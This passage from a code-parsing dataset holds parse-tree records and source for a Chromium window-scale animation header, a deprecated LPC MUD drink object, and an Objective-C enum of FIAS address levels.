"=", "parent": 86, "children": [], "start_point": {"row": 39, "column": 63}, "end_point": {"row": 39, "column": 64}}, {"id": 88, "type": "unary_expression", "text": "~WindowScaleAnimation()", "parent": 40, "children": [89, 90], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 25}}, {"id": 89, "type": "~", "text": "~", "parent": 88, "children": [], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 3}}, {"id": 90, "type": "call_expression", "text": "WindowScaleAnimation()", "parent": 88, "children": [91, 92], "start_point": {"row": 41, "column": 3}, "end_point": {"row": 41, "column": 25}}, {"id": 91, "type": "identifier", "text": "WindowScaleAnimation", "parent": 90, "children": [], "start_point": {"row": 41, "column": 3}, "end_point": {"row": 41, "column": 23}}, {"id": 92, "type": "argument_list", "text": "()", "parent": 90, "children": [], "start_point": {"row": 41, "column": 23}, "end_point": {"row": 41, "column": 25}}, {"id": 93, "type": "declaration", "text": "static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();", "parent": 40, "children": [94, 95, 100], "start_point": {"row": 44, "column": 2}, "end_point": {"row": 45, "column": 54}}, {"id": 94, "type": "type_identifier", "text": "base", "parent": 93, "children": [], "start_point": {"row": 44, "column": 9}, "end_point": {"row": 44, "column": 13}}, {"id": 95, "type": "ERROR", "text": "::AutoReset<bool>", "parent": 93, "children": [96, 97, 98, 99], "start_point": {"row": 44, "column": 13}, "end_point": {"row": 44, "column": 30}}, {"id": 96, "type": "identifier", "text": "AutoReset", "parent": 95, "children": [], "start_point": {"row": 44, "column": 15}, "end_point": {"row": 44, "column": 24}}, {"id": 97, "type": "<", "text": "<", "parent": 95, "children": [], "start_point": {"row": 44, "column": 24}, "end_point": {"row": 44, "column": 25}}, {"id": 98, "type": "primitive_type", "text": "bool", "parent": 95, "children": [], "start_point": {"row": 44, "column": 25}, "end_point": {"row": 44, "column": 29}}, {"id": 99, "type": ">", "text": ">", "parent": 95, "children": [], "start_point": {"row": 44, "column": 29}, "end_point": {"row": 44, "column": 30}}, {"id": 100, "type": "function_declarator", "text": "EnableScopedFastAnimationForTransientChildForTest()", "parent": 93, "children": [101, 102], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 53}}, {"id": 101, "type": "identifier", "text": "EnableScopedFastAnimationForTransientChildForTest", "parent": 100, "children": [], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 51}}, {"id": 102, "type": "parameter_list", "text": "()", "parent": 100, "children": [], "start_point": {"row": 45, "column": 51}, "end_point": {"row": 45, "column": 53}}, {"id": 103, "type": "labeled_statement", "text": "private:\n class AnimationObserver;", "parent": 40, "children": [104], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 48, "column": 26}}, {"id": 104, "type": "declaration", "text": "class AnimationObserver;", "parent": 103, "children": [105], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 26}}, {"id": 105, "type": "identifier", "text": "AnimationObserver", "parent": 104, "children": [], "start_point": {"row": 48, "column": 8}, "end_point": {"row": 48, "column": 25}}, {"id": 106, "type": "declaration", "text": "void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);", "parent": 40, "children": [107, 108], "start_point": {"row": 50, "column": 2}, "end_point": {"row": 51, "column": 67}}, {"id": 107, "type": "primitive_type", "text": "void", "parent": 106, "children": [], "start_point": {"row": 50, "column": 2}, "end_point": {"row": 50, "column": 6}}, {"id": 108, "type": "function_declarator", "text": "DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer)", "parent": 106, "children": [109, 110], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 51, "column": 66}}, {"id": 109, "type": "identifier", "text": "DestroyWindowAnimationObserver", "parent": 108, "children": [], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 50, "column": 37}}, {"id": 110, "type": "parameter_list", "text": "(\n WindowScaleAnimation::AnimationObserver* animation_observer)", "parent": 108, "children": [111], "start_point": {"row": 50, "column": 37}, "end_point": {"row": 51, "column": 66}}, {"id": 111, "type": "parameter_declaration", "text": "WindowScaleAnimation::AnimationObserver* animation_observer", "parent": 110, "children": [112, 113, 115], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 65}}, {"id": 112, "type": "type_identifier", "text": "WindowScaleAnimation", "parent": 111, "children": [], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 26}}, {"id": 113, "type": "ERROR", "text": "::AnimationObserver", "parent": 111, "children": [114], "start_point": {"row": 51, "column": 26}, "end_point": {"row": 51, "column": 45}}, {"id": 114, "type": "identifier", "text": "AnimationObserver", "parent": 113, "children": [], "start_point": {"row": 51, "column": 28}, "end_point": {"row": 51, "column": 45}}, {"id": 115, "type": "pointer_declarator", "text": "* animation_observer", "parent": 111, "children": [116, 117], "start_point": {"row": 51, "column": 45}, "end_point": {"row": 51, "column": 65}}, {"id": 116, "type": "*", "text": "*", "parent": 115, "children": [], "start_point": {"row": 51, "column": 45}, "end_point": {"row": 51, "column": 46}}, {"id": 117, "type": "identifier", "text": "animation_observer", "parent": 115, "children": [], "start_point": {"row": 51, "column": 47}, "end_point": {"row": 51, "column": 65}}, {"id": 118, "type": "declaration", "text": "void OnScaleWindowsOnAnimationsCompleted();", "parent": 40, "children": [119, 120], "start_point": {"row": 53, "column": 2}, "end_point": {"row": 53, "column": 45}}, {"id": 119, "type": "primitive_type", "text": "void", "parent": 118, "children": [], "start_point": {"row": 53, "column": 2}, "end_point": {"row": 53, "column": 6}}, {"id": 120, "type": "function_declarator", "text": "OnScaleWindowsOnAnimationsCompleted()", "parent": 118, "children": [121, 122], "start_point": {"row": 53, "column": 7}, "end_point": {"row": 53, "column": 44}}, {"id": 121, "type": "identifier", "text": "OnScaleWindowsOnAnimationsCompleted", "parent": 120, "children": [], "start_point": {"row": 53, "column": 7}, "end_point": {"row": 53, "column": 42}}, {"id": 122, "type": "parameter_list", "text": "()", "parent": 120, "children": [], "start_point": {"row": 53, "column": 42}, "end_point": {"row": 53, "column": 44}}, {"id": 123, "type": "labeled_statement", "text": "aura::Window* window_;", "parent": 40, "children": [124, 125], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 24}}, {"id": 124, "type": "statement_identifier", "text": "aura", "parent": 123, "children": [], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 6}}, {"id": 125, "type": "declaration", "text": "Window* window_;", "parent": 123, "children": [126, 127], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 24}}, {"id": 126, "type": "type_identifier", "text": "Window", "parent": 125, "children": [], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 14}}, {"id": 127, "type": "pointer_declarator", "text": "* window_", "parent": 125, "children": [128, 129], "start_point": {"row": 55, "column": 14}, "end_point": {"row": 55, "column": 23}}, {"id": 128, "type": "*", "text": "*", "parent": 127, "children": [], "start_point": {"row": 55, "column": 14}, "end_point": {"row": 55, "column": 15}}, {"id": 129, "type": "identifier", "text": "window_", "parent": 127, "children": [], "start_point": {"row": 55, "column": 16}, "end_point": {"row": 55, "column": 23}}, {"id": 130, "type": "labeled_statement", "text": "base::OnceClosure opt_callback_;", "parent": 40, "children": [131, 132], "start_point": {"row": 56, "column": 2}, "end_point": {"row": 56, "column": 34}}, {"id": 131, "type": "statement_identifier", "text": "base", "parent": 130, "children": [], "start_point": {"row": 56, "column": 2}, "end_point": {"row": 56, "column": 6}}, {"id": 132, "type": "declaration", "text": "OnceClosure opt_callback_;", "parent": 130, "children": [133, 134], "start_point": {"row": 56, "column": 8}, "end_point": {"row": 56, "column": 34}}, {"id": 133, "type": "type_identifier", "text": "OnceClosure", "parent": 132, "children": [], "start_point": {"row": 56, "column": 8}, "end_point": {"row": 56, "column": 19}}, {"id": 134, "type": "identifier", "text": "opt_callback_", "parent": 132, "children": [], "start_point": {"row": 56, "column": 20}, "end_point": {"row": 56, "column": 33}}, {"id": 135, "type": "declaration", "text": "const WindowScaleType scale_type_;", "parent": 40, "children": [136, 137], "start_point": {"row": 58, "column": 2}, "end_point": {"row": 58, "column": 36}}, {"id": 136, "type": "type_identifier", "text": "WindowScaleType", "parent": 135, "children": [], "start_point": {"row": 58, "column": 8}, "end_point": {"row": 58, "column": 23}}, {"id": 137, "type": "identifier", "text": "scale_type_", "parent": 135, "children": [], "start_point": {"row": 58, "column": 24}, "end_point": {"row": 58, "column": 35}}, {"id": 138, "type": "labeled_statement", "text": "std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;", "parent": 40, "children": [139, 140], "start_point": {"row": 61, "column": 2}, "end_point": {"row": 61, "column": 78}}, {"id": 139, "type": "statement_identifier", "text": "std", "parent": 138, "children": [], "start_point": {"row": 61, "column": 2}, "end_point": {"row": 61, "column": 5}}, {"id": 140, "type": "ERROR", "text": "::vector<std:", "parent": 138, "children": [141], "start_point": {"row": 61, "column": 5}, "end_point": {"row": 61, "column": 18}}, {"id": 141, "type": "binary_expression", "text": "vector<std", "parent": 140, "children": [142, 143, 144], "start_point": {"row": 61, "column": 7}, "end_point": {"row": 61, "column": 17}}, {"id": 142, "type": "identifier", "text": "vector", "parent": 141, "children": [], "start_point": {"row": 61, "column": 7}, "end_point": {"row": 61, "column": 13}}, {"id": 143, "type": "<", "text": "<", "parent": 141, "children": [], "start_point": {"row": 61, "column": 13}, "end_point": {"row": 61, "column": 14}}, {"id": 144, "type": "identifier", "text": "std", "parent": 141, "children": [], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 17}}, {"id": 145, "type": "binary_expression", "text": "unique_ptr<AnimationObserver>> window_animation_observers_", "parent": 138, "children": [146, 147, 148], "start_point": {"row": 61, "column": 19}, "end_point": {"row": 61, "column": 77}}, {"id": 146, "type": "identifier", "text": "unique_ptr", "parent": 145, "children": [], "start_point": {"row": 61, "column": 19}, "end_point": {"row": 61, "column": 29}}, {"id": 147, "type": "<", "text": "<", "parent": 145, "children": [], "start_point": {"row": 61, "column": 29}, "end_point": {"row": 61, "column": 30}}, {"id": 148, "type": "binary_expression", "text": "AnimationObserver>> window_animation_observers_", "parent": 145, "children": [149, 150, 151], "start_point": {"row": 61, "column": 30}, "end_point": {"row": 61, "column": 77}}, {"id": 149, "type": "identifier", "text": "AnimationObserver", "parent": 148, "children": [], "start_point": {"row": 61, "column": 30}, "end_point": {"row": 61, "column": 47}}, {"id": 150, "type": ">>", "text": ">>", "parent": 148, "children": [], "start_point": {"row": 61, "column": 47}, "end_point": {"row": 61, "column": 49}}, {"id": 151, "type": "identifier", "text": "window_animation_observers_", "parent": 148, "children": [], "start_point": {"row": 61, "column": 50}, "end_point": {"row": 61, "column": 77}}, {"id": 152, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 66, "column": 6}}]}, "node_categories": {"declarations": {"functions": [33, 40, 53, 100, 108, 120], "variables": [36, 45, 56, 63, 66, 71, 93, 104, 106, 111, 118, 125, 132, 135], "classes": [], "imports": [6, 7, 9, 10, 12, 13, 15, 16, 18, 19, 21, 22, 24, 25, 27, 28, 30, 31], "modules": [], "enums": [37, 38, 46, 47]}, "statements": {"expressions": [78, 83, 88, 90, 141, 145, 148], "assignments": [80], "loops": [], "conditionals": [0, 1, 2, 5, 34, 35, 39, 42, 43, 49, 50, 51, 54, 57, 59, 62, 64, 65, 67, 69, 70, 72, 73, 75, 79, 81, 85, 91, 94, 96, 101, 105, 109, 112, 114, 117, 121, 124, 126, 129, 131, 133, 134, 136, 137, 139, 142, 144, 146, 149, 151, 152], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14, 17, 20, 23, 26, 29, 32], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 33, "universal_type": "function", "name": "BackdropWindowMode;", "text_snippet": "namespace ash {\n\nenum class BackdropWindowMode;\n\n// The class which does the scale-down animation to"}, {"node_id": 40, "universal_type": "function", "name": "ASH_EXPORT", "text_snippet": "class ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShel"}, {"node_id": 53, "universal_type": "function", "name": "unknown", "text_snippet": "WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n "}, {"node_id": 100, "universal_type": "function", "name": "unknown", "text_snippet": "EnableScopedFastAnimationForTransientChildForTest()"}, {"node_id": 108, "universal_type": "function", "name": "unknown", "text_snippet": "DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer)"}, {"node_id": 120, "universal_type": "function", "name": "unknown", "text_snippet": "OnScaleWindowsOnAnimationsCompleted()"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include <memory>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <vector>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include \"ash/ash_export.h\"\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include \"base/auto_reset.h\"\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include \"base/callback.h\"\n"}, {"node_id": 19, "text": "#include"}, {"node_id": 21, "text": "#include \"base/callback_helpers.h\"\n"}, {"node_id": 22, "text": "#include"}, {"node_id": 24, "text": "#include \"base/macros.h\"\n"}, {"node_id": 25, "text": "#include"}, {"node_id": 27, "text": "#include \"base/scoped_observation.h\"\n"}, {"node_id": 28, "text": "#include"}, {"node_id": 30, "text": "#include \"ui/aura/window.h\"\n"}, {"node_id": 31, "text": "#include"}]}, "original_source_code": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n#define ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n\n#include <memory>\n#include <vector>\n\n#include \"ash/ash_export.h\"\n#include \"base/auto_reset.h\"\n#include \"base/callback.h\"\n#include \"base/callback_helpers.h\"\n#include \"base/macros.h\"\n#include \"base/scoped_observation.h\"\n#include \"ui/aura/window.h\"\n\nnamespace ash {\n\nenum class BackdropWindowMode;\n\n// The class which does the scale-down animation to shelf or scale-up to restore\n// to its original bounds for all windows in the transient tree of |window_|\n// after drag ends. Window(s) will be minimized with the descending order\n// in the transient tree after animation completes if we're scaling down to\n// shelf.\nclass ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n};\n\n} // namespace ash\n\n#endif // ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n"}
81,128
c
// DO NOT USE THIS FILE now, inherit /std/drink and set_canSave(1) to make saveable // *Styx* 12/24/03 ///std/drink.c //from the Nightmare mudlib //inheritable drink code //created by <NAME> October 1992 #include <std.h> inherit "/std/drink.c"; /* getting rid of the redundancy in case something does use it *Styx* 12/24/03 inherit OBJECT; string my_mess, your_mess; int poison, healing; void set_my_mess(string mess); void set_your_mess(string mess); void set_empty_name(string str); void clone_empty(object tp); void set_strength(int x); int query_strength(); void set_type(string str); string query_type(); void init() { ::init(); add_action("drink","drink"); } void create() { ::create(); set_weight(1); } void set_name(string str) { set_my_mess("You drink some "+str+".\n"); set_your_mess("drinks some "+str+".\n"); set_weight(210); ::set_name(str); } void set_empty_name(string str) { set("empty name", str); } void set_strength(int x) { set("strength", x); } void set_poison(int x){ poison = x; } void set_healing(){ int x; x = roll_dice(2,4)+2; healing = x; } void set_x_healing() { int x; x = roll_dice(3,8) + 3; healing = x; } void set_my_mess(string str) { my_mess = str; } void set_your_mess(string str) { your_mess = str; } int query_strength() { return query("strength"); } void set_type(string str) { set("type", str); } string query_type() { return query("type"); } int drink(string str) { if(!id(str)) return 0; if(environment(this_object()) != this_player()) { notify_fail("You must get it first.\n"); return 0; } if(query("type") == "soft drink") { if(!this_player()->add_quenched(query("strength")*20)) { notify_fail("You are too bloated to drink that!\n"); return 0; } } else if(query("type") == "caffeine") { if((int)this_player()->query_intox() < query("strength")) { notify_fail("You do not feel the need for that right now.\n"); return 0; } if(!this_player()->add_quenched(query("strength")*10)) { notify_fail("You are too bloated to drink that!\n"); return 0; } this_player()->add_intox(-(query("strength")/2)*10); } else if(query("type") == "alcoholic") { if(!this_player()->add_intox(query("strength")*10)) { notify_fail("You are just about to pass out as it is.\n"); return 0; } } else if(query("type") == "water") { if(!this_player()->add_quenched(query("strength")*50)) { notify_fail("Your stomach is sloshing already!\n"); return 0; } } this_player()->heal(healing); write(my_mess); say(this_player()->query_cap_name()+" "+your_mess, this_player()); this_player()->add_poison(poison); clone_empty(this_player()); remove(); return 1; } void clone_empty(object tp) { object empty; string empty_name; if(!query("empty name")) set("empty name", "bottle"); empty_name = query("empty name"); empty = new("std/Object"); empty->set_short("An empty "+empty_name); empty->set_long("A "+empty_name+" which used to hold something.\n"); empty->set_id( ({ empty_name, query_short(), "empty container" }) ); empty->set_value(0); empty->set_weight(5); empty->set_destroy(1); empty->move(tp); } */
26.42
122
(translation_unit) "// DO NOT USE THIS FILE now, inherit /std/drink and set_canSave(1) to make saveable\n// *Styx* 12/24/03\n\n///std/drink.c\n//from the Nightmare mudlib\n//inheritable drink code\n//created by <NAME> October 1992\n\n#include <std.h>\n\ninherit "/std/drink.c";\n\n/* getting rid of the redundancy in case something does use it *Styx* 12/24/03\ninherit OBJECT;\n\nstring my_mess, your_mess;\nint poison, healing;\n\nvoid set_my_mess(string mess);\nvoid set_your_mess(string mess);\nvoid set_empty_name(string str);\nvoid clone_empty(object tp);\nvoid set_strength(int x);\nint query_strength();\nvoid set_type(string str);\nstring query_type();\n\nvoid init() {\n ::init();\n add_action("drink","drink");\n}\n\nvoid create() {\n ::create();\n set_weight(1);\n}\n\nvoid set_name(string str) {\n set_my_mess("You drink some "+str+".\n");\n set_your_mess("drinks some "+str+".\n");\n set_weight(210);\n ::set_name(str);\n}\n\nvoid set_empty_name(string str) { set("empty name", str); }\n\nvoid set_strength(int x) {\n set("strength", x);\n}\n\nvoid set_poison(int x){\n poison = x;\n }\n void set_healing(){\n int x;\n x = roll_dice(2,4)+2;\n healing = x;\n}\nvoid set_x_healing() {\nint x;\nx = roll_dice(3,8) + 3;\nhealing = x;\n}\n\nvoid set_my_mess(string str) {\n my_mess = str;\n}\n\nvoid set_your_mess(string str) {\n your_mess = str;\n}\n\nint query_strength() {\n return query("strength");\n}\n\nvoid set_type(string str) { set("type", str); }\n\nstring query_type() { return query("type"); }\n\nint drink(string str) {\n if(!id(str)) return 0;\n \n if(environment(this_object()) != this_player()) {\n notify_fail("You must get it first.\n");\n return 0;\n }\n if(query("type") == "soft drink") {\n if(!this_player()->add_quenched(query("strength")*20)) {\n notify_fail("You are too bloated to drink that!\n");\n return 0;\n }\n }\n else if(query("type") == "caffeine") {\n if((int)this_player()->query_intox() < query("strength")) {\n notify_fail("You do not feel the need for that right now.\n");\n return 0;\n }\n if(!this_player()->add_quenched(query("strength")*10)) {\n notify_fail("You are too bloated to drink that!\n");\n return 0;\n }\n this_player()->add_intox(-(query("strength")/2)*10);\n }\n else if(query("type") == "alcoholic") {\n if(!this_player()->add_intox(query("strength")*10)) {\n notify_fail("You are just about to pass out as it is.\n");\n return 0;\n }\n }\n else if(query("type") == "water") {\n if(!this_player()->add_quenched(query("strength")*50)) {\n notify_fail("Your stomach is sloshing already!\n");\n return 0;\n }\n }\n this_player()->heal(healing);\n write(my_mess);\n say(this_player()->query_cap_name()+" "+your_mess, this_player());\n this_player()->add_poison(poison);\n clone_empty(this_player());\n remove();\n return 1;\n}\n\nvoid clone_empty(object tp) {\n object empty;\n string empty_name;\n \n if(!query("empty name")) set("empty name", "bottle");\n empty_name = query("empty name");\n empty = new("std/Object");\n empty->set_short("An empty "+empty_name);\n empty->set_long("A "+empty_name+" which used to hold something.\n");\n empty->set_id( ({ empty_name, query_short(), "empty container" }) );\n empty->set_value(0);\n empty->set_weight(5);\n empty->set_destroy(1);\n empty->move(tp);\n}\n*/" (comment) "// DO NOT USE THIS FILE now, inherit /std/drink and set_canSave(1) to make saveable" (comment) "// *Styx* 12/24/03" (comment) "///std/drink.c" (comment) "//from the Nightmare mudlib" (comment) "//inheritable drink code" (comment) "//created by <NAME> October 1992" (preproc_include) "#include <std.h>\n" (#include) "#include" (system_lib_string) "<std.h>" (expression_statement) "inherit "/std/drink.c";" (concatenated_string) "inherit "/std/drink.c"" (identifier) "inherit" (string_literal) ""/std/drink.c"" (") """ (string_content) "/std/drink.c" (") """ (;) ";" (comment) "/* getting rid of the redundancy in case something does use it *Styx* 12/24/03\ninherit OBJECT;\n\nstring my_mess, your_mess;\nint poison, healing;\n\nvoid set_my_mess(string mess);\nvoid set_your_mess(string mess);\nvoid set_empty_name(string str);\nvoid clone_empty(object tp);\nvoid set_strength(int x);\nint query_strength();\nvoid set_type(string str);\nstring query_type();\n\nvoid init() {\n ::init();\n add_action("drink","drink");\n}\n\nvoid create() {\n ::create();\n set_weight(1);\n}\n\nvoid set_name(string str) {\n set_my_mess("You drink some "+str+".\n");\n set_your_mess("drinks some "+str+".\n");\n set_weight(210);\n ::set_name(str);\n}\n\nvoid set_empty_name(string str) { set("empty name", str); }\n\nvoid set_strength(int x) {\n set("strength", x);\n}\n\nvoid set_poison(int x){\n poison = x;\n }\n void set_healing(){\n int x;\n x = roll_dice(2,4)+2;\n healing = x;\n}\nvoid set_x_healing() {\nint x;\nx = roll_dice(3,8) + 3;\nhealing = x;\n}\n\nvoid set_my_mess(string str) {\n my_mess = str;\n}\n\nvoid set_your_mess(string str) {\n your_mess = str;\n}\n\nint query_strength() {\n return query("strength");\n}\n\nvoid set_type(string str) { set("type", str); }\n\nstring query_type() { return query("type"); }\n\nint drink(string str) {\n if(!id(str)) return 0;\n \n if(environment(this_object()) != this_player()) {\n notify_fail("You must get it first.\n");\n return 0;\n }\n if(query("type") == "soft drink") {\n if(!this_player()->add_quenched(query("strength")*20)) {\n notify_fail("You are too bloated to drink that!\n");\n return 0;\n }\n }\n else if(query("type") == "caffeine") {\n if((int)this_player()->query_intox() < query("strength")) {\n notify_fail("You do not feel the need for that right now.\n");\n return 0;\n }\n if(!this_player()->add_quenched(query("strength")*10)) {\n notify_fail("You are too bloated to drink that!\n");\n return 0;\n }\n this_player()->add_intox(-(query("strength")/2)*10);\n }\n else if(query("type") == "alcoholic") {\n if(!this_player()->add_intox(query("strength")*10)) {\n notify_fail("You are just about to pass out as it is.\n");\n return 0;\n }\n }\n else if(query("type") == "water") {\n if(!this_player()->add_quenched(query("strength")*50)) {\n notify_fail("Your stomach is sloshing already!\n");\n return 0;\n }\n }\n this_player()->heal(healing);\n write(my_mess);\n say(this_player()->query_cap_name()+" "+your_mess, this_player());\n this_player()->add_poison(poison);\n clone_empty(this_player());\n remove();\n return 1;\n}\n\nvoid clone_empty(object tp) {\n object empty;\n string empty_name;\n \n if(!query("empty name")) set("empty name", "bottle");\n empty_name = query("empty name");\n empty = new("std/Object");\n empty->set_short("An empty "+empty_name);\n empty->set_long("A "+empty_name+" which used to hold something.\n");\n empty->set_id( ({ empty_name, query_short(), "empty container" }) );\n empty->set_value(0);\n empty->set_weight(5);\n empty->set_destroy(1);\n empty->move(tp);\n}\n*/"
19
0
{"language": "c", "success": true, "metadata": {"lines": 122, "avg_line_length": 26.42, "nodes": 6, "errors": 0, "source_hash": "4f88c31170404035b19af4dbd02c101808da5b558cc36d64f4c5e4540efb9d5e", "categorized_nodes": 6}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <std.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<std.h>", "parent": 0, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 16}}, {"id": 3, "type": "concatenated_string", "text": "inherit \"/std/drink.c\"", "parent": null, "children": [4, 5], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 22}}, {"id": 4, "type": "identifier", "text": "inherit", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 5, "type": "string_literal", "text": "\"/std/drink.c\"", "parent": 3, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 22}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [0, 1], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [4], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 3, 5], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include <std.h>\n"}, {"node_id": 1, "text": "#include"}]}, "original_source_code": "// DO NOT USE THIS FILE now, inherit /std/drink and set_canSave(1) to make saveable\n// *Styx* 12/24/03\n\n///std/drink.c\n//from the Nightmare mudlib\n//inheritable drink code\n//created by <NAME> October 1992\n\n#include <std.h>\n\ninherit \"/std/drink.c\";\n\n/* getting rid of the redundancy in case something does use it *Styx* 12/24/03\ninherit OBJECT;\n\nstring my_mess, your_mess;\nint poison, healing;\n\nvoid set_my_mess(string mess);\nvoid set_your_mess(string mess);\nvoid set_empty_name(string str);\nvoid clone_empty(object tp);\nvoid set_strength(int x);\nint query_strength();\nvoid set_type(string str);\nstring query_type();\n\nvoid init() {\n ::init();\n add_action(\"drink\",\"drink\");\n}\n\nvoid create() {\n ::create();\n set_weight(1);\n}\n\nvoid set_name(string str) {\n set_my_mess(\"You drink some \"+str+\".\\n\");\n set_your_mess(\"drinks some \"+str+\".\\n\");\n set_weight(210);\n ::set_name(str);\n}\n\nvoid set_empty_name(string str) { set(\"empty name\", str); }\n\nvoid set_strength(int x) {\n set(\"strength\", x);\n}\n\nvoid set_poison(int x){\n poison = x;\n }\n void set_healing(){\n int x;\n x = roll_dice(2,4)+2;\n healing = x;\n}\nvoid set_x_healing() {\nint x;\nx = roll_dice(3,8) + 3;\nhealing = x;\n}\n\nvoid set_my_mess(string str) {\n my_mess = str;\n}\n\nvoid set_your_mess(string str) {\n your_mess = str;\n}\n\nint query_strength() {\n return query(\"strength\");\n}\n\nvoid set_type(string str) { set(\"type\", str); }\n\nstring query_type() { return query(\"type\"); }\n\nint drink(string str) {\n if(!id(str)) return 0;\n \n if(environment(this_object()) != this_player()) {\n notify_fail(\"You must get it first.\\n\");\n return 0;\n }\n if(query(\"type\") == \"soft drink\") {\n if(!this_player()->add_quenched(query(\"strength\")*20)) {\n notify_fail(\"You are too bloated to drink that!\\n\");\n return 0;\n }\n }\n else if(query(\"type\") == \"caffeine\") {\n if((int)this_player()->query_intox() < query(\"strength\")) {\n notify_fail(\"You do not feel the need for that right now.\\n\");\n return 0;\n }\n if(!this_player()->add_quenched(query(\"strength\")*10)) {\n notify_fail(\"You are too bloated to drink that!\\n\");\n return 0;\n }\n this_player()->add_intox(-(query(\"strength\")/2)*10);\n }\n else if(query(\"type\") == \"alcoholic\") {\n if(!this_player()->add_intox(query(\"strength\")*10)) {\n notify_fail(\"You are just about to pass out as it is.\\n\");\n return 0;\n }\n }\n else if(query(\"type\") == \"water\") {\n if(!this_player()->add_quenched(query(\"strength\")*50)) {\n notify_fail(\"Your stomach is sloshing already!\\n\");\n return 0;\n }\n }\n this_player()->heal(healing);\n write(my_mess);\n say(this_player()->query_cap_name()+\" \"+your_mess, this_player());\n this_player()->add_poison(poison);\n clone_empty(this_player());\n remove();\n return 1;\n}\n\nvoid clone_empty(object tp) {\n object empty;\n string empty_name;\n \n if(!query(\"empty name\")) set(\"empty name\", \"bottle\");\n empty_name = query(\"empty name\");\n empty = new(\"std/Object\");\n empty->set_short(\"An empty \"+empty_name);\n empty->set_long(\"A \"+empty_name+\" which used to hold something.\\n\");\n empty->set_id( ({ empty_name, query_short(), \"empty container\" }) );\n empty->set_value(0);\n empty->set_weight(5);\n empty->set_destroy(1);\n empty->move(tp);\n}\n*/"}
81,129
c
// // Created by Андрей on 17.11.2017. // Copyright © 2017 Improve Digital. All rights reserved. // #ifndef IDFiasLevel_h #define IDFiasLevel_h typedef NS_ENUM(NSInteger, IDFIASLevel) { IDFIASLevelCountry = 0, IDFIASLevelRegion = 1, IDFIASLevelArea = 3, IDFIASLevelCity = 4, IDFIASLevelCityDistrict = 5, IDFIASLevelSettlement = 6, IDFIASLevelStreet = 7, IDFIASLevelHouse = 8, IDFIASLevelPlanStructure = 65, IDFIASLevelAdditionalTerritory = 90, IDFIASLevelAdditionalTerritoryStreet = 91, IDFIASLevelForeignOrEmpty = -1, }; #endif /* IDFiasLevel_h */
27.52
21
